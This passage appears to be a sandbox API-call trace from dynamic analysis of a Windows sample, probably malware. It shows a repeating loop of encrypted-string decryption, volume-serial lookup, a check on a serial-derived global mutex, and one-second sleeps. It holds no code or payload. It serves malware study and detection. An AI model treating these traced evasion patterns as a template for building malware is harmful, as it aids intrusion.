	[0230.726] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0230.726] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0230.726] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1517c0) returned 1
	[0230.726] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0230.726] CryptDecrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0230.726] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0230.726] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0230.726] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0230.727] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0230.727] CloseHandle (hObject=0x2c8) returned 1
	[0230.727] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0230.727] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0230.727] Sleep (dwMilliseconds=0x3e8) 
	[0231.801] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689298
	[0231.801] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151080) returned 1
	[0231.801] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0231.801] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689298, pdwDataLen=0xfcf9b8 | out: pbData=0x689298, pdwDataLen=0xfcf9b8) returned 1
	[0231.801] CryptDestroyKey (hKey=0x151080) returned 1
	[0231.801] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689270
	[0231.801] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fc8
	[0231.801] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0231.801] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151440) returned 1
	[0231.801] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0231.801] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0231.801] CryptDestroyKey (hKey=0x151440) returned 1
	[0231.801] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0231.801] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689270, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0231.801] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fc8 | out: hHeap=0x680000) returned 1
	[0231.801] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689298 | out: hHeap=0x680000) returned 1
	[0231.801] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0231.802] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689270 | out: hHeap=0x680000) returned 1
	[0231.802] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0231.802] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x1510c0) returned 1
	[0231.802] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0231.802] CryptDecrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0231.802] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0231.802] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0231.802] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0231.802] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0231.802] CloseHandle (hObject=0x2c8) returned 1
	[0231.802] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0231.802] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0231.802] Sleep (dwMilliseconds=0x3e8) 
	[0232.899] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6891a8
	[0232.899] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151200) returned 1
	[0232.899] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0232.899] CryptDecrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6891a8, pdwDataLen=0xfcf9b8 | out: pbData=0x6891a8, pdwDataLen=0xfcf9b8) returned 1
	[0232.899] CryptDestroyKey (hKey=0x151200) returned 1
	[0232.899] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689158
	[0232.899] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689220
	[0232.899] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0232.899] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151640) returned 1
	[0232.899] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0232.899] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0232.899] CryptDestroyKey (hKey=0x151640) returned 1
	[0232.899] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0232.899] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689158, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0232.899] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0232.899] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891a8 | out: hHeap=0x680000) returned 1
	[0232.899] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0232.900] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0232.900] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0232.900] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151440) returned 1
	[0232.900] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0232.900] CryptDecrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0232.900] CryptDestroyKey (hKey=0x151440) returned 1
	[0232.900] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0232.900] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0232.900] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0232.900] CloseHandle (hObject=0x2c8) returned 1
	[0232.900] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0232.900] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0232.900] Sleep (dwMilliseconds=0x3e8) 
	[0234.286] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689040
	[0234.286] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151680) returned 1
	[0234.286] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0234.286] CryptDecrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689040, pdwDataLen=0xfcf9b8 | out: pbData=0x689040, pdwDataLen=0xfcf9b8) returned 1
	[0234.286] CryptDestroyKey (hKey=0x151680) returned 1
	[0234.286] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689068
	[0234.286] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891f8
	[0234.286] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0234.286] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151500) returned 1
	[0234.286] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0234.286] CryptDecrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0234.286] CryptDestroyKey (hKey=0x151500) returned 1
	[0234.286] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0234.286] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689068, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0234.286] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891f8 | out: hHeap=0x680000) returned 1
	[0234.286] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689040 | out: hHeap=0x680000) returned 1
	[0234.286] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0234.286] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689068 | out: hHeap=0x680000) returned 1
	[0234.286] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0234.286] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151500) returned 1
	[0234.286] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0234.286] CryptDecrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0234.286] CryptDestroyKey (hKey=0x151500) returned 1
	[0234.286] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0234.286] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0234.286] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0234.287] CloseHandle (hObject=0x2c8) returned 1
	[0234.287] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0234.287] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0234.287] Sleep (dwMilliseconds=0x3e8) 
	[0235.297] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689130
	[0235.297] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151280) returned 1
	[0235.297] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0235.297] CryptDecrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689130, pdwDataLen=0xfcf9b8 | out: pbData=0x689130, pdwDataLen=0xfcf9b8) returned 1
	[0235.297] CryptDestroyKey (hKey=0x151280) returned 1
	[0235.297] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6892c0
	[0235.297] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689108
	[0235.297] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0235.297] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151580) returned 1
	[0235.298] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0235.298] CryptDecrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0235.298] CryptDestroyKey (hKey=0x151580) returned 1
	[0235.298] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0235.298] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6892c0, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0235.298] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689108 | out: hHeap=0x680000) returned 1
	[0235.298] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689130 | out: hHeap=0x680000) returned 1
	[0235.298] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0235.298] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892c0 | out: hHeap=0x680000) returned 1
	[0235.298] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0235.298] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151580) returned 1
	[0235.298] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0235.298] CryptDecrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0235.298] CryptDestroyKey (hKey=0x151580) returned 1
	[0235.298] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0235.298] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0235.298] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0235.298] CloseHandle (hObject=0x2c8) returned 1
	[0235.298] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0235.298] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0235.298] Sleep (dwMilliseconds=0x3e8) 
	[0236.329] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x6892c0
	[0236.329] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151080) returned 1
	[0236.329] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0236.329] CryptDecrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6892c0, pdwDataLen=0xfcf9b8 | out: pbData=0x6892c0, pdwDataLen=0xfcf9b8) returned 1
	[0236.329] CryptDestroyKey (hKey=0x151080) returned 1
	[0236.329] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x6891a8
	[0236.329] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x689158
	[0236.329] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0236.329] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151180) returned 1
	[0236.329] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0236.329] CryptDecrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0236.329] CryptDestroyKey (hKey=0x151180) returned 1
	[0236.329] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0236.329] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6891a8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0236.329] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689158 | out: hHeap=0x680000) returned 1
	[0236.329] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6892c0 | out: hHeap=0x680000) returned 1
	[0236.329] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0236.330] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891a8 | out: hHeap=0x680000) returned 1
	[0236.330] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0236.330] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151380) returned 1
	[0236.330] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0236.330] CryptDecrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0236.330] CryptDestroyKey (hKey=0x151380) returned 1
	[0236.330] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0236.330] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0236.330] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0236.330] CloseHandle (hObject=0x2c8) returned 1
	[0236.330] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0236.330] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0236.330] Sleep (dwMilliseconds=0x3e8) 
	[0237.371] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689220
	[0237.371] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x151200) returned 1
	[0237.372] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0237.372] CryptDecrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689220, pdwDataLen=0xfcf9b8 | out: pbData=0x689220, pdwDataLen=0xfcf9b8) returned 1
	[0237.372] CryptDestroyKey (hKey=0x151200) returned 1
	[0237.372] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689180
	[0237.372] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x6891a8
	[0237.372] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0237.372] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151640) returned 1
	[0237.372] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0237.372] CryptDecrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0237.372] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.372] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0237.372] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689180, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0237.372] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6891a8 | out: hHeap=0x680000) returned 1
	[0237.372] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689220 | out: hHeap=0x680000) returned 1
	[0237.372] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xfcfa44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xfcfa44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0237.372] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689180 | out: hHeap=0x680000) returned 1
	[0237.372] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x689380
	[0237.372] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf9d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa38 | out: phKey=0xfcfa38*=0x151280) returned 1
	[0237.372] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0xfcfa20, dwFlags=0x0) returned 1
	[0237.372] CryptDecrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf9ec | out: pbData=0x689380, pdwDataLen=0xfcf9ec) returned 1
	[0237.372] CryptDestroyKey (hKey=0x151280) returned 1
	[0237.372] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x34) returned 0x6893c8
	[0237.372] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2c8
	[0237.372] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102
	[0237.372] CloseHandle (hObject=0x2c8) returned 1
	[0237.372] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0237.372] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x6893c8 | out: hHeap=0x680000) returned 1
	[0237.372] Sleep (dwMilliseconds=0x3e8) 
	[0238.396] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x689248
	[0238.396] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf99c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcfa04 | out: phKey=0xfcfa04*=0x1515c0) returned 1
	[0238.396] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0xfcf9ec, dwFlags=0x0) returned 1
	[0238.396] CryptDecrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689248, pdwDataLen=0xfcf9b8 | out: pbData=0x689248, pdwDataLen=0xfcf9b8) returned 1
	[0238.396] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0238.396] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x689220
	[0238.397] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x688fa0
	[0238.397] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x689380
	[0238.397] CryptImportKey (in: hProv=0x1267b0, pbData=0xfcf974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xfcf9dc | out: phKey=0xfcf9dc*=0x151100) returned 1
	[0238.397] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0xfcf9c4, dwFlags=0x0) returned 1
	[0238.397] CryptDecrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x689380, pdwDataLen=0xfcf990 | out: pbData=0x689380, pdwDataLen=0xfcf990) returned 1
	[0238.397] CryptDestroyKey (hKey=0x151100) returned 1
	[0238.397] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689380 | out: hHeap=0x680000) returned 1
	[0238.397] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x689220, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0238.397] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x688fa0 | out: hHeap=0x680000) returned 1
	[0238.397] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x680000) returned 1
